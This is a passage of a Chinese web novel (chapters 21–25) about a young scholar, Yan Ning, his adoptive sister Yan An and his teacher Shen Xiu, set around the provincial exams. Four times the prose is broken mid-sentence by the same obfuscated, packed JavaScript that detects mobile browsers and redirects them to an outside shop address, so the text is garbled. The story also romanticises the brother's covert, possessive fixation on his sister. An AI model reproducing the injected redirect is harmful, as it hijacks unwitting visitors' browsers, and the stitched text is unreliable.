宴宁抬手指着他手中那块素罗，又道一遍，“半匹素罗。” 掌柜闻言，连连应声，遂又问他想要何色，将那柜中几块色泽各异的罗布皆是在他眼前展开。 有那银红、檀色、藕荷、柳青，还有月白。 宴宁目光一一扫过。 阿姐的性子，他最是了解。 银红颇艳，阿姐定然不喜。 而檀色适合年迈之人，也不合阿姐年岁。 至于藕荷，粉嫩之余又不艳丽，反而还透着几分清雅之色。 阿姐肤色白皙，若穿此色，自然好看。 想至此，宴宁眉目愈发柔和，唇角也浮出一抹淡笑，可他又是想到，十多年来，阿姐从未穿过这般粉嫩之色。 而柳青与月白…… 最终，宴宁的眸光停在了那月白色的素罗上。 掌柜见状，连忙笑着附和，“郎君真是好眼力，这批素罗当中，此色最显清贵，不染俗尘，是那君子最喜之色，与那温婉心性的娘子也最为适宜。” 清贵，不俗，君子最喜…… 宴宁几乎是下意识就想到了沈修，他与他相处三年，如何不知他最喜穿月白衣衫。 想到阿姐与沈修在一起时，那不敢抬眼，耳根泛着薄红的场景，那眼底瞬间浮出一抹寒意。 “藕荷。” 宴宁低道。 21.第二十一章 翌日清晨，马车驶出州城，到了第二日晌午，沈修与宴宁便回到了柳河村。 沈修差人先将自己的东西送回沈家，而他还需与宴宁去宴家一趟。 宴安正在院中洗衣，听到有人叩门，似愣了一下，先出声询问，得知是宴宁，忙朝屋中与何氏喊，“阿婆，宁哥儿回来了！” 宴安将手随意在身前粗衣上摸了两下，赶忙跑上前将门栓抽开。 想到自她与宴宁成为姐弟，十多年来，两人还未曾分开这么久过，宴安鼻尖便泛起酸意。 然那院门刚被打开，还未将宴宁细看，他身侧那月白色身影便闯入了宴安的视线。 这两人风尘仆仆，显然才刚回村里，宴安没想到，沈修未曾回家，竟直接来了宴家。 她眸光微顿，惊讶道：“沈、沈先生？” “宴安。”沈修温声唤她名字，似自打与她教书之后，他便未曾再如从前那般叫她宴娘子了。 宴安回过神来，赶忙侧身将沈修请进院内，顺手又去提宴宁身后的书箧。 原本许久未见阿姐，宴宁心头已是思念至极，可就在方才，看到阿姐开门后，目光瞬间就落去了沈修身上，他那浓浓的寒意，似要压抑不住般朝着心头涌来。 然即便如此，在宴安走到他身侧，要接那书箧时，他心头还是倏然一暖，眉眼间那隐隐寒意也瞬间散去。 “阿姐。”他深吸一口气，轻声唤她。 宴安朝他弯唇，正要与他说话，却见何氏已是拄拐走到屋外，见到沈修手中提着东西，赶忙就喊宴安，“安姐儿！快来……” 宴安只得应声上前，将沈修送的东西接到手中。 那是沈修在州城买的东西，有些吃食，还有些常用的物件。 “哎呦，大老远回来，怎地还带这些东西啊？”何氏说着客套话，将人往屋里请，“可曾先回过家？” 沈修笑着摇了摇头，“人是我带出去的，自然是要将人送回来，我才能安心归家。” 小坐了片刻，何氏又邀沈修留下吃午饭，沈修只是喝了杯水的工夫，便要起身回去，“家中还有母亲，将宴宁平安送回后，便该归家与母亲相聚了。” 何氏闻言，不再强留，又叫宴安去送沈修。 宴宁原也要一并跟去，却被何氏一把牵住，“孩儿啊，让阿婆好好看看你……” “阿婆，于情于理，我当去送沈先生。”宴宁温声说着，便要将手轻轻抽回，谁知何氏却将他握得更紧，眼泪也倏然落下。 沈修尚未出屋，回头看到这一幕，便也朝宴宁摆手，“不必送了，先陪阿婆。” 说罢，他便与宴安一道走出屋子，朝院门走去。 一路上两人未曾言语，直到宴安将他送出院子，两人身影半隐在院门外，才见沈修停下脚步。 他并未说话，而是从袖中取出一哥白瓷罐，递到宴安手边。 “这、这是何物？”宴安一时未敢去接。 沈修垂眼，声音轻缓，“你打开便知。” 宴安顿了一下，才将白瓷罐接到手中，她小心翼翼将瓷盖揭开，立即便闻到一股清甜裹着微酸的气味。 这是一罐蜜渍梅子！ 宴安眉眼瞬间抬起，眸光中难掩惊喜，然很快她便垂下眼来，将那瓷盖重新合上，故作镇定地与他轻道：“多、多谢先生这般繁忙，还记着宴家。” “这个，不是送给家中的。”沈修声音更低，也更轻，但每个字都进了宴安耳中，“是送给你的。” 宴安当即顿住，那眼睫不住轻颤，心头也不知为何，狂跳不已，饶是不用照镜，她也知自己耳根此时滚烫至极。 沈修望着她，将她此刻神情全然看在眼中，他目光愈发柔和，唇瓣微动，似有许多话想要说出，然默了半晌，终究还是没能出口，最后也只是轻道了一句，“我先走了，改日……再来看你。” 不是给宁哥儿教书，也不是看望阿婆，而是来看她。 这句话叫宴安心头更乱，那手中的白瓷罐也变得愈发烫手。 沈修话落，却并未离开，而是站在她面前，就这样静静地看着她，似在等她回应。 直到听见宴安那轻不可闻的一声“嗯”，沈修才终是离去。 宴安低着头回到院中，并未直接进屋，而是转身就朝灶房走去。 她背靠在灶房门后，不住地朝外呼气，心口处也在不住起伏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601658|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也不知这般待了多久，只等情绪终是慢慢缓和，这才将那拢在袖中的白瓷小罐，慢慢拿到眼前。 方才当着沈修的面，她也未敢细观，如今捧在眼前才知，这白瓷质地光滑，不见一丝瑕疵，而罐身用那暗纹刻着几枝青梅，光看刀工也知是那极佳的手艺，罐底上刻有四个小字，宋记蜜果。 宴安未曾听过此名，但能将白瓷罐都这般用心的店家，定然不是寻常铺子。 她将瓷盖再次打开，里面那酸甜的香味又一次扑面而来。 宴安小心翼翼拿起一颗蜜渍梅子，放入口中。 青梅合该酸涩，可那梅子被蜂蜜包裹，只剩下甘甜与清润在舌尖化开。 这是宴安第一次吃蜜渍梅子，从前她也只是听祖母偶尔念叨，当年在苏州时吃过一次，酸甜可口，甚是难忘。 如今，她也吃到了这梅子。 可不知为何，是那铺子制法不同，还是旁的什么缘由，这颗梅子，未让她觉出半分酸苦，反倒是越吃越觉甜蜜，全然不似阿婆说得那般。 屋内，何氏见宴安去了灶房，以为她是着急做午饭，便没有去寻，而是拉着宴宁说了好半天的话。 然宴宁的心思，却早已去了别处，他知道沈修与阿姐在门外说了许久的话，也看到阿姐回来时步伐仓促，一路将头垂得极低。 直到午饭时，宴安才做好了饭从灶房出来，知宴宁这一路辛苦，她特地多煮了两个鸡蛋，又拌了满满一碟菜。 三人坐于桌旁用饭，何氏还在念叨，一会儿说他瘦了，一会儿又说他气色不好，要他这几日好生休息。 宴安偶尔附和两声，并未过多言语，只低头吃着碗里的饭。 终于，宴宁不愿再等，他抬眼看向宴安，“阿姐。” 宴安顿了一下，也朝他看来，“怎么了？” “我离家多日，阿姐便未曾念过我？”宴宁眉宇微沉，眸中分明含着失落。 见宴安怔住，他忽又垂眸，那嗓音里透着几分哑意，“我今日回来，阿婆都拉着我说了许久的话，可阿姐……”他将头垂得更低，声音也愈发闷沉，隐约能见一丝委屈，“阿姐……一句也未曾与我说过，甚至连问候一声……都没有。” 22.第二十二章 宴宁很少主动向宴安索要什么。 这十多年来，不必他开口，她总是能先他一步，替他将所想所需提前备好，关切的话也从未少过。 可这是他头一次离家这般久。 他本以为回来后，阿姐会与阿婆一样，红着眼眶对他嘘寒问暖，哪怕不关切他，问问解试考得如何也可。 可他等了许久，什么也未曾等到。 宴宁这番话说出口的瞬间，愧疚感便如潮水般涌上了宴安心头。 虽说他已是年至十七，可在宴安面前，哪怕他年岁再长，也还是她一手带大的阿弟。 她如何能不忧心他，不关切他，不想与他说话？ 只是那装了一肚子话，却因那罐糖渍梅子，乱了心绪。 然不等宴安开口，何氏便替她道：“哎呦，你可是冤了你阿姐了！你离家这几日，她哪天没念叨你？你去看看你那床铺，被褥全拆洗过，还有你那些衣裳，也惧是帮你缝得齐齐整整。” 说着，何氏又忽地笑了，“她不如老婆子我唠叨，可那心底是当真念你的，你想想，若不心疼你，作何那般着急去给你做饭？” 提及此事，宴安到底心虚，她轻咳了一声，终是开了口，“阿姐念你，只是……只是想待用了饭后，再好好与你说话。” 宴宁看见宴安说话时，指尖用力蜷缩了一下，只这一下，他便心中了然，这番话是真是假，但他并未不悦，而是轻轻“嗯”了一声，朝宴安弯了唇角，“我知道了，阿姐。” 午饭用罢，宴安正要起身去洗碗，宴宁却先她一步站起身来，“阿姐等等。” 他转身将书箧取来，递到宴安手边，一面低头收拾碗筷，一面说道：“我在州城买了些布料，也不知到底如何，可否能给你与阿婆做件衣裳。” 何氏一听，赶忙就叫宴安将书箧拿到跟前。 “里面还有酥饼与点心，阿婆尝尝看喜不喜欢。”宴宁说罢，端着碗筷去了灶房。 打开书箧，最上方放的便是用白纸包裹的那半匹布料。 宴安还未拆开，就听何氏感叹，“是块好料子。” 从前在苏州时便是如此，只有那精贵布料，才会用白纸包得这般齐整。 宴安将麻绳解开，掀起纸张的瞬间，便被里面那光滑清透的罗面惊得当场愣住。 别说宴安，饶是何氏也瞪大了眼，似是不可置信，抬手在那冷罗面上摸了一把，“哎呦！这可是素罗啊！” 何氏说着，忙将那料子拿到眼前来看，口中不住念着，“这傻孩子，怎么买这样贵的料子啊，这得花多少钱呐……” 宴安也抬手在那罗面上轻轻摸着，怨不得人常说，一分价钱一分货，比起她此刻里间穿得那细纻布而言，这罗面不仅光滑细腻，还轻柔透气，若贴身而穿，岂不如同无物？ 光是想想，便已是觉出万分舒服。 宴安笑着宽慰何氏，“阿婆别忧心钱了，宁哥儿能买回来，便是他的心意。” 说着，她将那罗布撑开，拿在何氏身前比划，“这半匹素罗，正好用来给阿婆做件中衣。” 何氏一听，忙摆手道：“不可不可！这可是藕荷色，粉粉嫩嫩的，哪里是我这把岁数能穿的？若让旁人瞧见了，还不说我老来疯，学你们小姑娘扮俏呢？” 何氏一番话，将自己与宴安都逗乐了。 “阿婆莫怪宁哥儿，他哪里懂这些，许是与那掌柜的说，要给家中女眷买，那掌柜的自然想着粉嫩适合女子，便买了这样的颜色。”宴安看着那素罗，也不由笑着摇头，“就连我也未曾穿过这般粉的。” 何氏道：“罢了罢了，我是无福消受了，我这一身皮，又皱又糙的，穿罗衣岂不是白白糟蹋了好料子？” “阿婆这是说的哪里话，这可是宁哥儿孝敬……” 不等宴安说完，何氏便握住了宴安的手，在她手背上轻轻拍着，低声道：“宁哥儿是儿郎，他不懂这些，你我可皆是知晓的，这般好的料子，用来做那贴身之物最为合适不过，你便将你里面那件扔了去，重新做两件好的穿。” 宴安身上这件小衣缝缝补补，这些年何氏也是看在眼中的，若说不心疼那也是假，可这宴安节俭，要她扔了她舍不得，总说还能将就穿着。 如今这半匹罗布，依照她如今尺寸，能做两件，剩下些碎布，兴许还能拼做一条裈裤。 可宴安不愿，连忙摇头，“那怎么行？便是阿婆不要，我也不能一人独占，这可是宁哥儿买给咱们两人的。” 何氏挑眉，故意哼了一声，将手伸进那书箧，摸出一包点心来，“怎就不能独占，那罗布我用不上，也不稀罕，可这点心是我的，一块也不给你尝！” 何氏咧嘴笑着，便将那点心往身后藏。 宴安见状，也噗嗤一下笑出声来，“好，那便依了阿婆，这还有一包酥饼，也让阿婆占了去。” 何氏忙将酥饼接到手中，扭头又放到身后，“都别和我争，若少一块，我都不依！” 宴安正与何氏说笑，忽然又想起了那罐糖渍梅子，心里又开始生出几分愧疚来，那般好的梅肉，阿婆肯定喜欢吃。 可若将其拿出，阿婆定也要追问是从何处得来的。 这可叫她如何回答？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605585|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宴安正心虚着，宴宁已是刷完碗筷回来了。 一进屋中，他便问二人可曾喜欢。 得知两人已是说好，素罗给了宴安做衣，那两包吃的，全被何氏给扣下。 这明明与宴宁心中料想的一般无异，他却故作惊讶，但到底也没说什么，只道：“喜欢便好。” 入夜，布帘重新拉上。 白日里宴宁在，宴安不方便去做小衣，到了此时，帘子那头一片幽静，宴安才终是寻得机会，拿出针线与罗布，坐在桌旁开始裁衣。 若是寻常布料，不到一个时辰便能做好两件小衣，连那裈也能做出，可这罗布太过精贵，她一针一线皆是小心，生怕哪里裁错，坏了料子。 宴安不知做了多久，待全部做好后，许是太过欣喜，也并未觉出困倦来。 她抬眼朝炕上看去，何氏早已熟睡，又扭头去看布帘，那头也一片幽静。 宴安终是没能忍住，慢慢褪下中衣，将那新裁出的小衣轻轻穿上。 素罗贴肤，细软如丝。 宴安唇角不自觉扬了起来。 从前只觉贴身小衣好似累赘，裹得人发闷，夏日里更常捂出红疹，着实让人难受，如今穿了这素罗所做的小衣，竟是轻的仿若无物一般。 想到这般好的小衣，她今日一得便是两件，宴安那唇角的弧度更深。 她垂眼望着身前那抹好看的藕荷，心下不由道：若能是月白色，许是与她更衬些。 这一晚，宴安做好小衣便已是到了子时，随后又将桌面收拾妥当，又轻手轻脚带着那小衣去了灶台。 她将小衣放得极深，这样明日晨起生火做饭，便可将它一并烧了。 回来后，宴安满心欢喜地爬上了炕，待她彻底熟睡，已是过了丑时。 布帘那头，足足又等一个时辰，见外间再无声响，宴宁这才缓缓坐起身。 布帘轻动，他慢步而出。 寅时是一日里最为困乏之时，连那林间秋蝉也噤了声。 他动作轻缓，犹如夜风拂去，便已寻至灶房。 未曾点灯，只借那窗外月色，便也能将那物件寻出。 灶台深处的黑灰沾在了上面，宴宁将其拿到面前，轻轻吹打着浮灰。 月色下，眼前之物似还沾着阿姐的温度，还有那独属于她的清香。 想到阿姐此刻穿着他送她的罗布所做的小衣，那沉沉夜色中，宴宁冰冷的目光渐渐生出一股暖意。 他双眸微阖，轻嗅着面前清香。 待许久后，他长出一口气，将其放入内衫，与他心口紧紧相贴在一处。 23.第二十三章 宴安夜里睡得晚，但一到清晨，还是本能醒了过来，洗漱了一番，便去灶房备饭。 因昨夜未曾睡好的缘故，她眼下隐隐泛着乌青，头脑也有些昏沉，倒是极适合吃两颗酸甜的梅子来提神。 灶台旁用土砌了一个高台，专门用来搁置碗筷，那白瓷小罐就放在土台下，被乱柴遮掩着。 宴安满心欢喜将乱柴扒开，却是在看到那小罐的时候，脸上笑容瞬间凝固。 那白瓷罐歪倒在地，盖子摔成两半，滚在一边。 宴安心头一紧，赶忙将罐子捡起，朝里看去。 小罐内空空如也，原本满满一罐蜜渍梅子，竟一颗也不剩，只那罐底残留着几粒咬碎的果核。 宴安心里不住难过，眼泪都快要夺眶而出，不必细看，单从那残核上参差不齐的齿痕也能得知，这梅子定是遭了老鼠啃咬。 在低头去看，只见罐子倒地之处，还印着几个暗红色爪印，明显是那老鼠进罐时，脚下沾了蜜糖所致。 那香甜的蜜渍梅子没有了，精致的白瓷小罐也裂了很长一道口子。 宴安再也忍不住，眼泪委屈地落了下来。 “阿姐？” 宴宁不知何时来到了灶房外，见门推不开，便轻声唤她。 宴安赶忙抬袖将眼泪擦掉，手中瓷罐也来不及扔，只得先搁回原处，她用力匀了几个呼吸，这才将门打开。 “阿婆说，不用做太多，还有……”宴宁目光落在宴安微红的鼻尖上，话音倏然一顿，忙温声询问，“阿姐，怎么了？” “没事，方才被烟熏了眼睛。”宴安嗓音有些发闷，偏过脸去用那勺子搅着锅里的粥，“阿婆说什么?” 宴宁目光朝那土台处看了一眼，见柴火位置已是变过，便知道她缘何会如此。 “阿婆说，还有昨日带回的酥饼，只熬些粥便是，不必备太多。”宴宁语气不似方才询问时那般紧张，反倒还弯了眉眼，朝宴安笑了一下，“那酥饼外面洒了一层厚厚的芝麻，里面还夹着麦芽糖，又香又甜，特别好吃，阿姐一会儿定要好好尝尝。” 香甜二字一出，宴安便觉鼻尖更酸，她将眼睫垂得更低，没有说话，只低低“嗯”了一声。 见她如此反应，宴宁脸上笑意也倏然散去，仿若搁了巨石一般，压得他难受。 早饭时，何氏故作舍不得般，将宴宁带回的那包酥饼拿出，“安姐儿一个，宁哥儿两个，好了，剩下都是我的。” 宴宁朝何氏弯唇，“阿婆若是喜欢，待我去省试赶考回来，再多买些。” 解试还未放榜，宴宁已是说出要去省试的话，言下之意，此番解试他必过无疑。 何氏当即眉开眼笑，连连说好。 她喜爱吃这酥饼不假，可比起酥饼，孙儿能够考取功名才是她心中最为期盼之事。 若是从前，宴安此刻必是也要高兴应和，可她手里拿着酥饼，眼神发直，就好像没听到宴宁所言。 这次不等宴宁开口，何氏已是看出不妥，出声唤她，“安姐儿，你一直低着头作甚呐，没听见你弟弟方才说了什么？” 宴安终是回过神来，忙笑着回道：“我听见了，宁哥儿聪慧又努力，我从来不疑他学业，别说解试，便是省试，宁哥儿定也能过!” 宴宁唇角扬着笑意，然一想到宴安为那一盒梅子，便魂不守舍至如此地步，心头便又是泛起阵阵寒意。 九月初九，州城放榜这日，才刚至清晨，天尚未亮，那州衙外便围满人群。 待时辰一到，便有官吏迎着众人期盼目光，贴下榜文。 榜首赫然写道，晋州解元：宴宁。 人群骤然炸开，有那同县学子，早在县试时就知道了这号人物，当即便扬声喊道：“是那柳河村的宴家之子！” 柳河村这种穷乡僻壤之处，竟能考出个一州解元，莫不是文曲下凡？ 人群再次哗然，直到有人道出，那宴宁师从沈修，众人这才不再惊疑，毕竟名师高徒，那沈修当年便是解元，还两入殿试，能得他亲授的学子，有此成绩，似也合乎情理。 当天傍晚，便有小吏抄榜快马加鞭送至柳河村。 里正得知宴宁高中解元，那唇角直朝耳根咧去，立即叫人带了锣鼓，一路敲着寻去宴家。 此刻已至黄昏，宴家三个用罢晚饭，宴宁在桌旁看书，宴安正在做绣活，何氏从旁指点一二，忽听那外间锣鼓喧嚣，似有人喊高喊着宴宁名字。 屋中三人皆是一愣。 宴宁最先明白过来，他内心并未觉出澎湃，只是下意识就将目光落在宴安身上。 见她眉眼微顿，蹙眉似在细听，连呼吸都已是屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611515|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住，直到彻底听清那句“本州解元，宴家之子宴宁所中”之后，她身子猛地一颤，眼眶顿时红了。 她慌忙丢下手中针线，抬手捂住唇，似生怕自己哭出声来，然脚步已是不由自主地朝着他面前奔去。 这是阿姐第二次扑入他怀中。 那平静如一潭死水的心绪，终是在她撞入身前的这一瞬，再次涌起了波涛。 “阿姐……”宴宁双手缓缓落在她脊背之处，嗓音微哑，却带着笑意，“我中了。” 何氏年岁大了，耳力比不得这两人，原本还听不清到底出了何事，但看眼前这一幕，还有何猜不出的。 她颤巍巍再度上前，将两个孩子一并揽入怀中。 宴宁中解元一事，自也是传到了沈修耳中，他在第二日清晨，便雇了马车与宴宁一并去了州衙，领那解状和路引，为来年开春的省试做准备。 省试由礼部主持，来年二月于京中开考。 在此期间，宴宁还是如之前一样，一面在村学教书，一面备考，而里正也将那月钱提至每月四百文。 要知自他也中了解元后，便又有不少孩子要来村学读书，从前那沈家村的学生，也要过来不说，连那县里都有人慕名要来，几个村子已是商议，要将那土地庙扩建出一座学堂来。 宴宁每月领了那四百文，便尽数交到宴安手中。 宴安想到到了年底，宴宁便已至十八，如此儿郎，身上也当装些银钱，便说只留二百用于家用，剩余二百叫他自己拿上。 宴宁却道：“家中钱财向来都是阿姐来管，我拿着也无用，若当真有所需要，我自会向阿姐开口。” 他望着宴安，声音不由又温下几分，“日后……不论我赚得多少银钱，也会尽数教于阿姐来管。” 宴安见他执意如此，也只好将钱全部收下，“那好，阿姐便帮你攒着，往后给你娶媳妇用。” 听到“娶媳妇”这三个字，宴宁眸光微顿，缓缓落在宴安面容上，她并未觉察，只是低头在认真数着铜板。 他眸光细细密密，将她寸寸打量，最后唇角那笑容更温，声音又比方才低了更多，几近耳语，“好，钱财本就该是给媳妇用的。” 宴安浑然未觉，也未曾听得真切，只以为宴宁附和了她方才的话，便随口应了一声，继续数着手中铜板。 24.第二十四章 转眼便是年过，不过短短三两月的光景，来宴家说亲者已有不下十家，还有几家来问宴安的。 宴宁这边，还是只道心思皆在科举，无心成家。 旁人闻言，非但不恼，反倒连连称赞，说他先立业，在成家，此乃君子之道。 至于宴安，如今二十有一，同村这般年岁的女子，皆已成家，有的连孩子都抱了两个。 来与她求亲者，比起早年刚及笄那会儿，明显差得了许多，不是家底清贫比之宴家还不如，便是模样举止皆是粗鄙，往那一站便叫人生了厌烦，更有那鳏夫竟也求媒婆上门说亲。 这次不由宴安拒绝，何氏看了也是一肚子火气，来一个拒一个，有那被拒后恼羞成怒，出言诋毁，说宴安容貌生得如此好，脾性也温柔良善，偏到了这般年岁还不成亲，定是身有隐疾，又没准早就不干净了。 还有那媒婆见何氏面善，便蹬鼻子上脸，压低声劝说何氏，“趁如今还有人愿意娶，让你家孙女赶紧挑个嫁了，若再往后推个几年，风言风语更是传得收不住了，到时给人做妾，都未必有人要。” “啊呸！”何氏气得一手叉腰，一手将那拐杖在地上用力直敲，将这嘴巴不净的一通乱骂。 “这些个歪瓜裂枣的货色，也不撒泡尿照照自个儿，那尿泥溅成坨都比他们顺眼！” “哪个有半分人样？哪个能担起半石米来，哪个又读过半页书？” “就这鬼迷日眼的德行，还敢攀我家安姐儿？我家安姐儿能多看他们一眼，都是他们祖坟烧了高香！” “我何润兰今日把话撂到这儿，我家安姐儿不嫁人，那是因为瞧不上！” 那媒婆见状，早已吓得缩着脖子跳出院门，站在那门外扯着嗓子故意道：“哎呦，也难怪！人家宴家是要出状元的，自是眼高于顶，谁都瞧不上了喽！怕是只有那京中的达官显贵，才配得上宴家的金枝玉叶呐！” 这十里八乡皆知宴宁中了解元一事，背地里自是有那眼红之人，只盼着宴宁之后的省试落榜。 媒婆此言，不光是在讽宴安，明显是连带宴宁也一并嘲之。 何氏气得眉梢直跳，拿起拐杖就要朝那媒婆砸去。 宴安何曾见过祖母发这么大的火气，连忙将那拐杖攥住，又三两步跑上前去，一把将门合紧，随后回身扶住何氏，一面轻声宽抚，一面送她回屋。 何氏坐在炕上，胸口不住起伏，缓了半晌才长叹一声，“罢了！我算是瞧见了，这男人当真没一个好东西！同这些人过日子，那岂不日日都要膈应死！” 她攥住宴安的手，眼眶微红道：“往后，阿婆也不催你，你想嫁便嫁，便是不嫁，只要我何润兰在世一日，这个家断不会叫我安姐儿受了委屈！” 宴安闻言，心头一酸，抬手抱住何氏。 宴宁尚在村学，不知家中出了何事，只知回来后，何氏突然与他道：“长姐如母，你自幼是你阿姐一手带大，若是往后娶妻生子，也当将你阿姐视为母亲般奉养，不得不尊，不得不敬，更不得让她受半分委屈！” 宴宁何等聪慧，立即便反应过来，阿婆竟是默许了阿姐不必嫁人。 这便意味着，日后阿姐再也不会与他分离。 想至此，宴宁心绪骤然翻涌，但面上却不显分毫，默了一瞬后，他站起身，朝着何氏恭敬一揖，郑重道：“阿婆放心，于我而言，阿姐于你，皆是此生至亲，我宁肯终身不娶，也绝不负你二人之恩。” 有了这番话，何氏心中大石便已落下，至于宴宁的婚事，现在说还为期尚早。 再者，宴安与她皆不是刻薄人，将来宴宁便是真娶了媳妇，断也不会苛待人家。 “傻孩子，快起来罢。”何氏长出一口气，唤他上身前来，“阿婆信你，也知你自幼就明事理，只是你阿姐为了这个家，操持了这么多年，阿婆实不忍她受了委屈。” 宴安闻言，眼泪倏然而落，何氏一手拉她，一手拉住宴宁，也跟着一并垂泪说道：“我们一家人，永远也不分开。” “是。”宴宁缓缓抬眼看向宴安，弯唇轻道，“永不分离。” 宴家两个婚事没有着落，隔壁王婶倒是迎来喜事。 满姐儿与那在县城开药铺的表兄家，定下婚事。 此事自然是王婶过来说的，提及满姐儿表兄，王婶眼中满满笑意，何氏却故作撇嘴，嫌她说得晚了，她早就从旁人口中听说了。 王婶提了那治腿疼的药给她，“这次可不是药渣，是那上好的治风湿的药，内服外用皆有，你还要如何怨我？” 何氏没话说了，只笑着问：“缘何现在才说？” 王婶抬眼朝那棚后的土墙看去，那墙后便是王婶家，“老姐姐这是冤枉我了，这事没拍板前，我可是谁也没说，外间传闻，也只是看我满姐儿在表兄家帮工传出来的。” “也就是前几日才交了庚帖，我这就跑来与你说的。”王婶说着，将声音压低道，“我家那个，当真是克我娘俩……” 何氏直到此刻才知，满姐儿与她表兄情投意合，八字相匹，原是极好的一桩婚事，谁知那赵伯从中生事，看那表亲家在县城靠药铺营生，家底殷实，便狮子大开口，竟要一百贯铜钱。 “天爷啊！”何氏惊得都要捂嘴，“便是州城之人嫁女，也不敢要这个数啊！” “可不是么！”王婶气得咬牙，“他还说，若给不出一百贯，便要我那表侄子入赘！” 王婶没有儿子，膝下就满姐儿一个女儿，赵伯也是看准了这点，才故意拿此来生事。 “我才不遂他愿！”王婶冷哼一声，“我忍让了一辈子，若是在满姐儿婚事上再由他胡来，我这王字便倒着写！” 何氏也算看着满姐儿长大的，得知她要嫁人，夫家条件也好，自然为她欣喜，可一听此言，想到那赵伯，便心头不安。 “不过王婶也说了，她家那个成日喝得昏天黑地，连日子都记不得，到现在也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617794|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知两个孩子将婚期都已是定下，只打算生米煮成熟饭，任他也闹不出什么名堂了。” 晚饭时，何氏与姐弟俩提及此事时，眉心还在蹙着。 宴安吃了口饼，问她道：“婚期在何时？” 何氏道：“定在二月初六。” 宴安又朝宴宁道：“宁哥儿那会儿应当已是在京城了吧？” 宴宁放下筷子，点头道：“最晚初十，我便要动身入京。” 说至此，他也缓缓抬眼，看向宴安，“半月后，可至京中，然此番与解试不同，省试考完，我暂不能归家，须在京城候榜。” 他顿了顿，声音更加沉稳，“二月中便会放榜，若能登第，便是进士出身。” “啊？”宴安疑惑眨眼，“不是要等殿试结果出来后，才能有那进士身份？” 宴宁眸光微沉，“从前确是如此，但此次科举不同，圣上已是亲自下令，凡省试中第者，皆入殿试，殿试只定高下，不复黜落。” 见何氏与宴安听得蹙眉，他便言简意赅道：“这便是说，只要过了省试，便为进士，殿试，不过是圣上亲定名次罢了。” 宴安这下懂了。 何氏还有些糊涂，又问一句，“若你过了省试，饶是殿试未过，也……也算进士？” “是。”宴宁点头,“此番科举，省试上榜者，殿试只排先后，不黜一人，故而只要礼部放榜有我名字，便是进士，便可授官。” 何氏终是明白过来，只要过了省试，那便能做官了！ 不管大小官职，殿试名次，何氏眼中，只要宴宁能做官，她这辈子便是值了！ 也不知是太过紧张，还是太过欣喜，她竟一时有些语无伦次，“那、那宁哥儿……可、可能……可能……” 宴安知道，何氏这是想问宴宁能否考过。 她虽每每皆说，相信宴宁，可当真到了这种时候，心头也难免七上八下。 可她不想将这份不安带给宴宁，便声音温软，却异常肯定地对何氏道：“阿婆莫要忧心，咱家宁哥儿……必定高中。” “好。”宴宁平静出声，抬眼看向宴安，“我必不叫阿姐失望。” 年前，腊月二八这日，沈修提礼来到宴家，送了宴宁许多赶考路上所需之物。 “我知你初十便要动身，然年下族中祭祖，我着实脱不开身，恐不能亲自相送。”沈修语气温缓，眸中尽显关切，“你只管安心赴京，家中之事，不必忧心。” 宴宁闻言，眉宇微蹙，他外出不在家中，阿姐与阿婆的安危的确令他忧心，若沈先生能来探望一二，也是最好不过，只是……他下意识便朝宴安扫去。 宴安只是垂首在整理物件，神情并未有所异样。 想到几日前，阿婆拉着他们说一家人永不分开的场景，还有阿姐从前斩钉截铁与他说，绝不嫁人的模样。 宴宁默了一瞬，终还是朝着沈修恭敬一揖，“那便有劳先生费心了。” 25.第二十五章 正月初十，宴宁踏上了赴京之路。 他手中有州衙所送驿券，这一路不会太苦，有那官衙所备的驴车，食宿也皆由驿站安顿。 临走之前，何氏伏在宴宁肩头，哭得双眼通红，宴安原不想哭，见此一幕，也是忍不住悄悄抹泪。 宴宁心中如何舍得，然他必须要走，不仅要走，这条路他还要走至那最高之处。 宴宁慢慢将何氏扶起，轻声宽慰于她，“阿婆莫哭，若我高中，必会让阿婆与阿姐，享尽荣华，再不吃苦。” 